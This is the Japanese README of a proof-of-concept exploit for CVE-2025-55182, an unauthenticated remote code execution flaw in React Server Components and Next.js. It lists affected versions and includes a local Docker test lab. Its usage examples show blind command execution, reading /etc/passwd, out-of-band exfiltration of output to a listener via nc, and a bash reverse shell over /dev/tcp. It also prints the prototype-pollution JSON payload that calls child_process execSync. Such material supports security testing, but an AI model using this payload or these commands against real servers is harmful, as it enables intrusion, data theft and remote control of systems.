
CVE-2025-55182 React2Shell PoC
CVE-2025-55182 の概念実証(PoC)エクスプロイトです。React Server Components に存在する、深刻な(CVSS 10.0)認証不要のリモートコード実行(RCE)脆弱性です。
発見者: Lachlan Davidson - 2025年11月29日に Meta/React チームへ開示
この脆弱性は、React Flight プロトコルのデシリアライゼーションロジックに存在します。攻撃者は HTTP POST で悪意のあるペイロードを送信することにより、プロトタイプ汚染(prototype pollution)を引き起こし、サーバー上で任意のコード実行を達成できます。
| パッケージ | 影響を受けるバージョン |
|---|---|
| react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js | 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6 |
.
├── exploit.py # exploit script
├── docker-compose.yml # Vulnerable test environment
├── vulnerable-app/ # Vulnerable Next.js application
└── README.md
docker compose up -d
これにより、http://localhost:3000 で脆弱な Next.js アプリケーションが起動します。
python3 exploit.py -u http://localhost:3000 --check
これは、以下の指標を対象に、エクスプロイトを伴わないチェックを実行します。
python3 exploit.py -u http://localhost:3000 -c "id"
出力を確認せずにコマンドを実行します。確認方法:
python3 exploit.py -u http://localhost:3000 -c "id" --exfil <IP>:<PORT>
あなたの IP アドレス 待ち受けポート
usage: exploit.py [-h] -u URL [-c COMMAND] [--check] [--exfil HOST:PORT]
[--timeout TIMEOUT] [--no-verify]
options:
-u, --url URL Target URL
-c, --command CMD Command to execute
--check Check if vulnerable (non-exploitative)
--exfil HOST:PORT Exfiltrate output to HOST:PORT
--timeout TIMEOUT Request timeout (default: 10)
--no-verify Disable SSL verification
# Check vulnerability
python3 exploit.py -u http://localhost:3000 --check
# Blind RCE
python3 exploit.py -u http://localhost:3000 -c "touch /tmp/pwned"
# RCE with output
python3 exploit.py -u http://localhost:3000 -c "whoami" --exfil 172.17.0.1:9999
# Read files
python3 exploit.py -u http://localhost:3000 -c "cat /etc/passwd" --exfil 172.17.0.1:9999
# Reverse shell
python3 exploit.py -u http://localhost:3000 -c "bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\": \"$B0\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('id');",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
このエクスプロイトは実行中にサーバーの状態を破壊するため、インバンド(帯域内)レスポンスによる出力の外部送信は信頼できません。--exfil フラグはアウトオブバンド(帯域外)の外部送信を使用します。
┌──────────┐ 1. Malicious POST ┌──────────┐
│ Attacker │ ──────────────────► │ Server │
└──────────┘ └──────────┘
▲ │
│ 3. Command output │ 2. RCE executes:
│ via nc │ cmd | nc attacker port
│ ▼
└─────────────────────────────────┘
docker compose down
このツールは、許可を受けたセキュリティテストおよび教育目的でのみ使用してください。テストの許可を得たシステムに対してのみ使用してください。